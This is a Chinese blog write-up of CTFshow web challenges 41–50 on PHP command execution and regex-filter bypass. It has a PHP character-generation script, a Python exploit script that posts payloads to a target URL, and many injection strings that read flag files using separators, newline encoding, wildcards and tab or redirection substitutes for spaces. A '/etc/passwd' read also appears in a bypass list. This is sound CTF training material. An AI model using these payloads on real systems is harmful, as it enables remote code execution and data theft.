《CTFshow-Web入门》05. Web 41~50

CTFshow wbe41 教你写脚本 CTFshow web41 如何写一个脚本!脚本原理! 阅读详情
AI摘要

本文介绍了CTF中关于Web安全的基础题目,主要涉及通过system()函数执行命令时如何利用正则表达式过滤的漏洞。通过ASCII值和URL编码的或运算构造可用字符,绕过过滤规则,实现命令执行。同时,文中提供了自动化脚本和手动构造payload的方法,以及利用换行符、通配符等技巧绕过额外限制。


ctf - web入门

索引

  • web41:eval() 利用与正则绕过,或运算【|】构造可用字符。
  • web42:system() 利用,>/dev/null 2>&1 绕过。
  • web43:system() 利用与正则绕过,>/dev/null 2>&1 绕过。
  • web44:system() 利用与正则绕过,>/dev/null 2>&1 绕过。
  • web45:system() 利用与正则绕过,>/dev/null 2>&1 绕过。
  • web46:system() 利用与正则绕过,>/dev/null 2>&1 绕过。
  • web47:system() 利用与正则绕过,>/dev/null 2>&1 绕过。
  • web48:system() 利用与正则绕过,>/dev/null 2>&1 绕过。
  • web49:system() 利用与正则绕过,>/dev/null 2>&1 绕过。
  • web50:system() 利用与正则绕过,>/dev/null 2>&1 绕过。

web41

这一题参考了其他师傅的 writeup:
ctfshow web入门 web41
CTFshow wbe41 教你写脚本

以及 bilibili 上的官方讲解:
CTFshow-web入门-命令执行

震惊我这个小白一整年。
视频讲的挺清楚的,这里只记录一些理论知识了。

题解

过滤了数字和字母,以及 $、+、-、^、~ 
使得 异或自增 和 取反 构造字符都无法使用
但是没有过滤 或运算符 |

在这里插入图片描述

可以尝试从 ascii 为 0-255 的字符中,找到能够通过 或运算 得到的可用字符及相应 url 编码。

方法一:

先通过以下 php 脚本生成一个 rce_or.txt,内容是上述可用字符及编码。

rce_or.php 内容:

<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)|urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);

大体意思就是从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符。

再通过以下自动化脚本传参并执行想执行的命令。
到这一步其实就是用 python 主动提交 payload。

用法:python exp.py url地址

exp.py 代码:

# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os


os.system("php rce_or.php")  #没有将php写入环境变量需手动运行

if(len(argv)!=2):
   print("="*50)
   print('USER:python exp.py <url>')
   print("eg:  python exp.py http://ctf.show/")
   print("="*50)
   exit(0)
   
url=argv[1]


def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("rce_or.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)
   
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
   data={
       'c':urllib.parse.unquote(param)
       }
   r=requests.post(url,data=data)
   print("\n[*] result:\n"+r.text)

可以如下图先运行 php 脚本先生成 txt 文件。

在这里插入图片描述

然后运行 python 脚本。

在这里插入图片描述

最后输入相应指令即可获得 flag。

在这里插入图片描述

方法二:

以上相当于使用 python 自动化脚本。当然也可以用上述得到的 txt 可用字符手动构造。

用 burp 拦截,然后转为 post 请求来传递一下参数。

先根据原理来传递一下 (system)(‘ls’) 看看。

c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%00%0c%13%00"|"%27%60%60%27")

在这里插入图片描述

看到有回显了。那就构造 (system)(cat flag.php) 。

c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60")

得手了。

在这里插入图片描述

原理

system('ls')
('system')('ls')
(system)('ls')
('system')(ls)
是一样的,都可以执行
  • url编解码
  • 或运算 构造字符串
  • 示例如下:
如构造一个 (system)('ls')

("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%00%0c%13%00"|"%27%60%60%27")

其中 %13|%60=s     %19|%60=y      %14|%60=t
很明显可以看出来就是将前半部分组合到一起 | 后半部分组合到一起

web42

题解

在这里插入图片描述

方法一:

url + ?c=cat flag.php ||

查看源码获取flag。

在这里插入图片描述

方法二:

直接让拼接的命令换行。

url + ?c=cat flag.php%0a

在这里插入图片描述

原理

>/dev/null 2>&1 命令表示不回显。

参考文章:Shell脚本/dev/null 2>&1详解

要让命令回显,可以进行命令分隔,以此来绕过:

;     分号
|     只执行后面那条命令
||    只执行前面那条命令
&     两条命令都会执行
&&    两条命令都会执行

或者直接使用 %0a(换行符,url 编码)将其分隔。

web43

题解

这道题在 web42 的基础上过滤了 cat 字符串和其他一些符号。

在这里插入图片描述

换一个命令,且使用换行符的 url 编码让 >/dev/null 2>&1 换行

url + ?c=nl flag.php%0a

在这里插入图片描述

使用其他命令如 tac 也可以。

原理

和 web42 差不多。
>/dev/null 2>&1 命令表示不回显。

web44

题解

看题,可以简单使用通配符绕过。

在这里插入图片描述

方法一:

url + ?c=tac fl*%0A

在这里插入图片描述

方法二:

当然也可以如下,结果都一样。

url + ?c=tac fl''ag.php||

原理

>/dev/null 2>&1 命令表示不回显。
依旧是有关 linux 的命令与通配符。

web45

题解

多过滤了一个空格。

在这里插入图片描述

使用 %09 绕过即可

url + ?c=tac%09fl''ag.php||

在这里插入图片描述

原理

linux适用空格绕过:

<、<>、%20(space)、%09(tab)、$IFS$9、${IFS}、$IFS、{cat,/etc/passwd}、%0a(回车)

web46

题解

比之前多过滤了 “ * ”。

在这里插入图片描述

法一,符号绕过。

url + ?c=tac%09fl''ag.php||

法二,通配符 “ ? ”。

url + ?c=tac%09fl?g.php||

原理

linux 通配符【*】,【?】。
除此以外还有符号绕过。

web47

依旧是 Linux 命令考察。

题解

比之前多过滤了一些命令。

在这里插入图片描述

解:

url + ?c=nl%09fl''ag.php||

同理,其他命令也可。

web48

依旧与上题差别不大。

题解

在这里插入图片描述

解:

url + ?c=nl%09fl''ag.php||

web49

题解

过滤了 “ % ”。但空格绕过方法有很多。

在这里插入图片描述

题解:

url + ?c=tac<fla''g.php||

原理

linux 适用空格绕过:

<、<>、%20(space)、%09(tab)、$IFS$9、${IFS}、$IFS、{cat,/etc/passwd}、%0a(回车)

web50

题解

多过滤了 tab 键与 “ & ”。

在这里插入图片描述

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

虽然但是,可沿用之前的 payload:

url + ?c=tac<>fl''ag.php||

原理

x09 为 tab键。x26为【&】。

tab 可以代替空格,& 是连接符。


若待功成拂衣去,武陵桃花笑杀人。

——《当涂赵炎少府粉图山水歌》(唐)李白

ctfshow中web入门第web41 ctfshow41关解法,提供异或、或预算绕过的利用代码 阅读详情

相关推荐

CTFshow 命令执行 web50

目录源码知识点题解总结 源码 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 22:32:47 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){

Kradress的博客 583

ctfshow web入门 web41

这个题过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字。但是特意留了个或运算符|。 我们可以尝试从ascii为0-255的字符中,找到或运算能得到我们可用的字符的字符。 这里先给出两个脚本 exp.py rce_or.php,大家以后碰到可以使用或运算绕过的可以自己手动修改下即可。 生成可用字符的集合 <?php $myfile = fopen("rce_or.txt", "w"); $contents=""; for ($i=0; $i < 256; $i++

羽的博客 1万+

CTFshow web入门 web41~web55 命令执行_ctfshow web41

/mode=1代表或,2代表异或,3代表取反//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式if (mode!=3){//1代表模式,后面的是过滤规则a %60 %01 // 这里的%60 或上 %01即是字母ab %60 %02c %60 %03d %60 %04e %60 %05f %60 %06g %60 %07h %60 %08i %60 %09j %60 %0ak %60 %0b。

2401_89689893的博客 692

ctfshow web入门 命令执行39-43

ctfshow web入门 命令执行39-43

m0_62207170的博客 568

CTFSHOW-web入门-sql注入(web214-web220)时间盲注篇

但是在调试脚本的时候我发现,这个时间区间的范围非常有讲究。可以将 # print(sub_time)解开注释自行分析,我发现一个很神奇的地方就是,如果输出了正确的字符在我这里时间延迟大概是0.9s多,但是如果我的时间上限设置的比较大就经常性的会匹配到错误的字符(一般时间延迟是1.05-1.10s),具体原因我并不知道但是0.9s-1.05s以内匹配到的基本都是正确的字符。这个脚本我优化的还是不好,偶尔还是会有错误的输出,并且最后会将最后一个字符重复输出,我也不知道咋优化了,我的解决办法就是多跑两遍。

JL20050725的博客 2075

ctfshow web入门 命令运行 web39---web52

昨天看了一下我的博客真的很恼火,不好看,还是用md来写吧。

2301_81040377的博客 1177

ctfshow web41-web50

web41代码审计过滤了:[0-9] [a-z] ^ + ~ $ [ ] { } & -这次字母过滤了,字符不是很多思路:通过特殊字符来构造字母从而实现代码执行这里根据题目提示已经给了一篇博客第一个脚本运行结果是解释一下是怎么得来的:A %40 %01十六进制的40=十进制的64=二进制0100 0000十六进制的01=十进制的01=二进制0000 0001二者进行或运算0100 00000000 00010100 0001不理解的话可以具体去看一下这个网址带着的表运行结果。

m0_73721944的博客 1458

CTFshow 命令执行 web41

文章目录源码前言解题总结 源码 <?php /* # -*- coding: utf-8 -*- # @Author: 羽 # @Date: 2020-09-05 20:31:22 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 22:40:07 # @email: 1341963450@qq.com # @link: https://ctf.show */ if(isset($_POST['c'])){

Kradress的博客 4002

ctfshow——web入门147~150plus

在 PHP 中,命名空间(namespace)提供了一种组织代码的方式,可以避免类、函数和常量名称的冲突。全局命名空间中的函数和类:在任何命名空间中调用全局函数和类时,需要使用绝对路径(以 \ 开头)。自定义命名空间中的函数和类:在同一命名空间中调用时,可以直接使用名称;如果条件为真(即$ctfshow不完全由小写字母、数字和下划线组成),则尝试以函数形式调用$ctfshow,传入两个参数:空字符串'' 和来自URL请求参数的$_GET['show']值。code=$哈="`{{{"^"?

uwvwko的博客 791

最新CTFShow-WEB入门篇--信息搜集详细Wp_ctfshow web,2024年最新看这篇文章就行了

index.phps。

2401_84264244的博客 1213

ctfshow web入门 命令执行后篇(web55-web188)

web55 <?php ​ /* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 20:03:51 # @email: h1xa@ctfer.com # @link: https://ctfer.com ​ */ ​ // 你们在炫技吗? if(isset($_GET['c']..

ccfly1012的博客 2316

ctfshow web入门 web221-web230

开始其他注入题目提示是limit的一个注入,并且只需要获得数据库名就行$page和$limit的参数可控,说明limit后面的两个参数均可控,可以利用limit进行报错注入和时间盲注procedure analyse:MySQl中的一个内置函数,用于分析结果,可接受参数通过控制page,limit 这两个参数,实现报错注入,成功获得数据库名,注意:limit后面不能接select。

2401_87543722的博客 1978

CTFShow-WEB入门篇--信息搜集详细Wp_ctfshow web(1)

【代码】CTFShow-WEB入门篇--信息搜集详细Wp_ctfshow web(1)

2401_87205009的博客 643

CTFshow命令执行 web41-77

/dev/null 2>&1 是一个 shell 重定向操作,意味着命令的标准输出(stdout)和标准错误(stderr)都被重定向到 /dev/null,即被丢弃。包含这个变量,就相当于把flag这个变量给注册进去了,而var_dump(get_defined_vars());用其他字符替换掉空格:水平制表符%09,这里的空格不是php代码里面的空格,而是linux中shell里面的空格。ls双写绕过,把后面的ls写进黑洞里,而前面的c=ls执行。这里又和73相同了,我们要用其他方式访问文件了。

potatojiang的博客 1099

LCD驱动芯片——BL55072A驱动程序

初始化子程序: START 0x7C; I2C子地址 0xEA;ICSET,软件复位芯片 0xC0;MODSET,关显示 0xF0;BLKCTL,关闪烁 0xA3;DISCTL,80Hz Line inversion,High Power mode 0xE8;ICSET,清复位bit1 STOP 显示刷新子程序: START 0x7C;I2C子地址 0xF0;BLKCTL,关闪烁 0xA3;DISCTL,80Hz Line inversion,High Power mode 0xE8或0xEC;ICSE

love421的博客 3175

BrainVision Recorder 和 BrainVision Analyzer 2.2 安装

本篇为《EEG处理》系列博客的第二篇,该系列博客主要记录EEG信号处理的学习过程中的软件安装和学习过程,方便以后查阅。本篇为BrainVision Recorder 和 BrainVision Analyzer 2.2 的安装过程。 BrainVision Recorder 和 BrainVision Analyzer 2.2 安装安装前奏Brain Vision Analyzer分析软件 安装Brain Vision Recorder记录软件 安装推荐几款个人使用的科研软件 安装前奏 Brain V

梁小憨憨的博客 5060

ctfshow web入门 web201-web208

根据题目提示,开始练习sqlmap。以及使用--referer(用于告诉服务器,即来源页面的 URL)绕过referer的检查。在F12网络页面,查看请求参数,我们可以看到请求参数和referer头我们可以看到传入的参数是/api/?有了上面的信息,接着直接用sqlmap,注意-u后面的url是用http,--batch成功注入,可以看到MySQL的版本为5.8.32接着进行脱库,--dbs,查询数据库可以看到数据库名-D:指定数据库,--tables:查询表。

2401_87543722的博客 573

【UE5 C++开发指南】从零配置Visual Studio 2022开发环境

本文详细指导如何从零开始为UE5 C++开发配置Visual Studio 2022环境。文章强调了VS2022与UE5的深度兼容性,并逐步讲解了社区版下载、核心工作负载(如“使用C++的游戏开发”)与组件安装、界面优化、专属工具设置以及首个C++项目的创建与验证流程,帮助开发者高效搭建专业开发环境。

weixin_29016865的博客 392

CTFShow-WEB入门篇--信息搜集详细Wp

CTFShow-WEB入门篇--信息搜集详细Wp

Aluxian_的博客 3476

【数据集】2019年中国1km格网河网密度数据集

中国1km格网河网密度数据集

WW、forever的博客 1343

Monorepo与pnpm:前端项目管理的完美搭档

pnpm又称 performant npm,翻译过来就是高性能的npm。Monorepo是一种项目开发与管理的策略模式,它代表"单一代码仓库"(Monolithic Repository)。在Monorepo模式中,所有相关的项目和组件都被存储在一个统一的代码仓库中,而不是分散在多个独立的代码仓库中,这些项目之间还可能会有依赖关系。

m0_68271787的博客 2562

ctfshow-web入门-sql注入(web171-web175)

这里只出了一个 id,因为换行导致我们误判为到了最后一个字符,因为我们的字典里只包括数字、小写字母和下划线,因此字符没找到,便跳出外层循环结束了代码。判断一下这次又是三个字段数了,因为还是对输出过滤了 flag,所有我们还是不查用户名,用占位符占位即可。接下来我们先判断下它数据库名的长度,这个其实可以通过 burpsuite 的攻击模块爆破的,没关系,我们这里手写一遍,也锻炼下我们 python 的能力。

Welcome To My6n Blog 3982

嵌入式铁头山羊stm32:一文总结

本文是一篇STM32嵌入式开发的综合知识总结,涵盖了STM32基础概念、GPIO、通信协议、外设驱动等核心内容。文章首先介绍了STM32的基本概念和型号含义,然后详细讲解了GPIO的8种工作模式及实验案例。接着重点阐述了USART、I2C、SPI三种通信协议的原理和实现方法,包括硬件连接、编程接口和实验应用。此外还介绍了OLED显示原理、中断系统、定时器、ADC转换等关键技术,每个模块都配有对应的实验案例和代码实现参考。文章内容全面系统,既包含理论知识,又提供实践指导,适合作为STM32开发的快速参考手册。

古泽汉书的博客 2782

[ctfshow]web入门——命令执行(web40-web53)

文章目录web40 web40 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 06:03:36 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $

ShenZ的博客 1675

【Oracle】Oracle rman工具使用(真的细)

Oracle RMAN(Recovery Manager)是Oracle数据库备份和恢复的官方工具,它提供的备份和恢复功能非常强大和可靠。RMAN可以备份整个数据库或特定表空间、数据文件、控制文件和归档日志,同时还可以进行增量备份和增量恢复。RMAN还提供了诸如备份验证、备份优化、备份复制、备份集管理、恢复操作、自动备份、自动恢复等高级功能。它使用的备份和恢复格式是Oracle通用的备份集(Backup Set),这使得备份和恢复非常灵活和高效。

tttzzzqqq2018的博客 8501

Python 爬虫实战:于好大夫在线抓取医生评价数据,选择优质医疗服务

requests:用于发送 HTTP 请求,获取网页内容。或 lxml:用于解析 HTML 页面,提取目标数据。pandas:用于数据清洗和分析。matplotlib和seaborn:用于数据可视化。time:用于控制爬取速度,避免对服务器造成压力。通过本项目,我们实现了以下目标:使用 Python 爬虫抓取好大夫在线的医生评价数据。对数据进行清洗和分析,找出评价中的关键词和趋势。根据分析结果推荐优质医疗服务。

u014481728的博客 3369
上一篇: 《Linux基础》04. 用户管理 · 用户组 · 相关文件 · 权限管理
下一篇: 《Linux基础》05. 定时任务调度 · 磁盘分区与挂载
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值